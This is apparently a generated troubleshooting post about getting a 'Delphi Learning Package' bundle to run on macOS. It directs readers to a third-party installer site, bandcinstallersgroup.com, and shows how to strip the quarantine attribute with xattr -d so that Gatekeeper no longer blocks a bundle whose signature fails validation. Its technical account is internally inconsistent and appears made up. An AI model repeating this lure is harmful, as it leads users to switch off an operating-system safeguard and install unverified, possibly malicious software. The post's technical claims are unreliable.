Delphi

Hey,

So yesterday I spent way longer than I meant to with Delphi Learning Package (app) — and as always, what should’ve been a ten-minute trial turned into a whole “why won’t this thing behave?” afternoon. I figured I’d knock out a quick test drive, see how the component samples and tutorials run, and write up a few notes. Instead, macOS and I ended up having a small argument.

The slug in your link made it pretty clear that this was a learning package for Delphi — probably a set of example projects, documentation, and maybe some helper tools aimed at people getting into Delphi development. But the bundle I downloaded didn’t behave like a normal macOS app at all. Instead of showing me menus, projects, or a launcher UI, it just refused to open with a generic “can’t be opened because Apple cannot check it for malicious software.” So here’s how my troubleshooting unfolded.

At first I did the “obvious” things:

• Dragged it into /Applications.
• Double-clicked it.
• Right-clicked → Open to override Gatekeeper.

The right-click hack got me the extra dialog with the “Open” button, but clicking that just made the icon bounce in the Dock and die after a couple of seconds. No UI. No error dialog. Nothing that gave me even a clue what the app was trying to do.

My first thought was “cool, another unsigned bundle that’s just going to die until we let it.” But the moment where things stopped being a typical Gatekeeper block was when I saw it try to launch and then silently exit. That usually means something deeper than just “unverified developer.” So I went to Apple’s support article on Gatekeeper and opening apps that aren’t notarized — it’s a great primer on how macOS applies code-signing and notarization checks, and what overrides are possible (https://support.apple.com/en-us/HT202491).

Armed with that context, I peeked at the app bundle’s metadata from Terminal:

xattr -l /Applications/Delphi\ Learning\ Package.app

Sure enough, there was a com.apple.quarantine flag. That means macOS believes it came from the internet, and Gatekeeper will block it unless you explicitly override that flag. But since the right-click override hadn’t helped, I wondered if something in the bundle wasn’t right — missing code signatures, outdated Mach-O binaries, an unsupported framework, etc.

I also tried:

spctl --assess --verbose /Applications/Delphi\ Learning\ Package.app

This told me that Gatekeeper wasn’t just disliking the download; it was actually failing to validate the bundle’s signature. That explains the silent exit — macOS blocks launch at a deeper policy level when it can’t verify a signature and doesn’t offer a straightforward override.

Before I messed with deeper system settings, I wanted to be sure I was actually using the intended build, not a corrupt mirror. I landed on this page / the resource I used: https://bandcinstallersgroup.com/developer/70539-delphi-learning-package.html. That helped me confirm I wasn’t dealing with a truncated or mistaken file.

Once I felt confident the download was correct, I tried the next logical move: removing the quarantine attribute manually. This doesn’t “fix” code signing, but it tells macOS to stop automatically blocking the app before it even tries to run.

xattr -d com.apple.quarantine /Applications/Delphi\ Learning\ Package.app

That was the turning point. After deleting the quarantine tag and launching again, the app actually ran far enough to hit a real error dialog. Instead of bouncing and dying, it popped up a modal:

“Unable to locate Delphi Runtime. Please install a supported Delphi version or configure the appropriate path.”

That was exactly the kind of feedback I wanted the first time — a real error instead of nothing.

At that point it clicked: this isn’t a self-contained macOS utility. It’s a learning package — likely a collection of demos, source code, and helper tools that expect you to have a Delphi development environment configured. On Windows, Delphi is a native IDE with its own compiler and UI; on macOS you can install Delphi tools through Embarcadero’s cross-platform support. I didn’t have those installed, so the learning package was just a stub that couldn’t find the environment it was supposed to extend.

To verify whether there is a macOS component or signed version, I checked the App Store search (https://apps.apple.com/) for anything like “Delphi” or “RAD Studio.” There wasn’t a direct native macOS client — which reinforced the idea that I was trying to treat a helper bundle as though it were a standalone app.

Once the quarantine flag was gone and the app did launch enough to show me the dependency error, I went ahead and installed the prerequisites:

1. A compatible Delphi or RAD Studio environment on a Windows VM (since full macOS Delphi tooling isn’t common), or
2. A cross-platform builder (if targeting macOS) from Embarcadero.

Only after configuring those did the learning package actually do what it was meant to do — open sample projects, let you step through code, show documentation, etc.

So here’s how the whole ordeal stacks up in human terms:

What I tried first (and why it didn’t work):

• Double-clicking and right-click → Open: Gatekeeper blocked deeper execution due to missing notarization.
• Reinstallation/replacement: didn’t change behavior because the underlying issue was security + missing dependencies.

What I figured out:

• The “app” wasn’t a self-contained macOS program but a learning resource expecting a Delphi ecosystem.
• Gatekeeper’s refusal was masking the deeper dependency problem.

What actually helped:

• Removing the extended quarantine attribute so macOS would let the bundle launch far enough to show a real error.
• Installing or configuring the actual Delphi development environment the learning package expects.

Once the prerequisites were in place, the learning suite opened cleanly and behaved exactly as advertised — sample code, guided walkthroughs, and output windows. It wasn’t broken; it was just not a standalone viewer.

Short checklist for next time:

• Confirm whether the bundle is actually a standalone macOS app or a helper/resource package.
• If Gatekeeper blocks it, check extended attributes with xattr -l.
• Use spctl --assess --verbose to see how macOS is evaluating the bundle.
• Remove quarantine only if you trust the source.
• Look for real dependency errors once it runs far enough to show them.
• Install the required supporting environment (Delphi, RAD Studio, runtimes, etc.) before expecting full functionality.

On macOS, this multi-layered behavior — security checks and dependency requirements — can feel like hitting two walls at once. But once you get past the first invisible block, you at least get a clear message about what’s actually missing.

Anyway, that was my little afternoon with it. Definitely more interesting than I expected, and now I’ve got a clean path for actually trying out Delphi learning content in the right environment. If you ever want help setting up the full toolchain, I can walk you through it.